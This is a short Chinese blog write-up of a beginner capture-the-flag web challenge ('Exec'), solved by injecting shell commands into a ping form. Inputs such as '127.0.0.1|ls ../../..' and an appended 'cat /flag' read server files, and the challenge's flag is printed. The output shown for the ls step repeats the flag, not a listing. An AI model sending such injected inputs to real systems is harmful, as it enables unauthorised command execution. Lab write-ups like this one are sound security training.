




[BUUCTF011][ACTF2020 新生赛]Exec 1

原创

曾说过  于 2020-12-03 00:52:09 发布  147  收藏 2

分类专栏: [buuctf](#) 文章标签: [php web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_52674595/article/details/110508699

版权



[buuctf](#) 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

[BUUCTF011]

[ACTF2020 新生赛]Exec 1

ping地址

第一反应当然是Ping127.0.0.1

但是什么都没有得到

尝试能不能查找到可能包含flag 的flag文件

```
127.0.0.1: cat /flag
```

结果 直接 得到了flag

PING

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag{43ef461f-4f84-4091-a0f5-94be50ca8b06}
```

https://blog.csdn.net/m0_52674595

阿这 有点不可思议啊!!!

去网上看了看大家的wp

发现可以

一级一级的去寻找flag文件。

我们先来查看一下这里面的所有文件，

```
127.0.0.1|ls ../../..
```

然后得到

PING

请输入需要ping的地址

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag{43ef461f-4f84-4091-a0f5-94be50ca8b06}
```

https://blog.csdn.net/m0_52674595

然后再去cat

flag即可